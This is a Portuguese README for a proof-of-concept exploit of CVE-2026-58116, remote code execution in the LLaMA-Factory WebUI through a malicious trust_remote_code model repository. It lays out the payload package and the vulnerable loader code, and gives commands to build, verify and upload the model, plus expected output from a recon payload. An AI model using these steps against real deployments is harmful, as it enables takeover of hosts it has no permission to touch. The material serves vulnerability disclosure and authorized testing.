Exploit de prova de conceito para CVE-2026-58116 demonstrando execução remota de código no LLaMA-Factory WebUI via injeção de caminho de modelo trust_remote_code. Inclui modelo de payload e script de verificação para testes de segurança autorizados.
trust_remote_codeProva de conceito para CVE-2026-58116 (CVSS 9.8 Crítico): execução remota de código no LLaMA-Factory <= v0.9.5.
O WebUI do LLaMA-Factory codifica permanentemente trust_remote_code=True ao carregar um modelo (src/llamafactory/webui/chatter.py:139 e runner.py:175,320). O campo "Caminho do Modelo" controlado pelo atacante flui sem validação para AutoTokenizer.from_pretrained() / AutoModel.from_pretrained(), fazendo com que a biblioteca transformers do Hugging Face baixe e execute Python arbitrário de um repositório de modelo malicioso.
Esta PoC é apenas para testes de segurança autorizados e educação. O payload incluído é intencionalmente inofensivo (imprime o reconhecimento do host via id). Execute-o apenas contra sistemas que você possui ou está autorizado a testar. Nunca implante um payload malicioso contra infraestrutura sem permissão explícita.
.
├── poc-model/
│ ├── config.json # declares auto_map → attacker modules
│ ├── configuration_poc.py # payload: runs os.system("id ...") at config load
│ ├── modeling_poc.py # minimal stub model class
│ └── __init__.py # makes it an importable package
└── build_and_verify.py # assemble + verify the sink in isolation
transformers instancia a classe de configuração antes de carregar quaisquer pesos, então o payload em PoCConfig.__init__ é disparado assim que a configuração é lida — nenhum peso precisa existir. Esse é exatamente o caminho que o LLaMA-Factory alcança através de src/llamafactory/model/loader.py:
def _get_init_kwargs(model_args):
return {"trust_remote_code": model_args.trust_remote_code, ...} # True (hardcoded)
def load_tokenizer(model_args):
init_kwargs = _get_init_kwargs(model_args)
tokenizer = AutoTokenizer.from_pretrained(model_args.model_name_or_path, **init_kwargs)
Verifique o sink localmente (nenhum WebUI necessário — prova o contrato que o WebUI viola):
pip install transformers torch
python3 build_and_verify.py
Saída esperada — observe que o banner do payload aparece durante o carregamento da configuração:
[+] PoC model assembled at .../poc-model
[*] Loading config with trust_remote_code=True (this triggers the PoC)...
============================================================
[CVE-2026-58116 PoC] trust_remote_code payload executed!
time : 2026-07-02T...
host : gpu-host-01
user : hbuser
------------------------------------------------------------
uid=1000(hbuser) gid=1000(hbuser) groups=1000(hbuser)
============================================================
[+] Config loaded: PoCConfig (model_type=poc_model)
Fim a fim através de um WebUI do LLaMA-Factory em execução:
huggingface-cli login
python3 build_and_verify.py --upload your-user/llmfcty-poc
llamafactory-cli webuiyour-user/llmfcty-poc, clique em Carregar Modelo.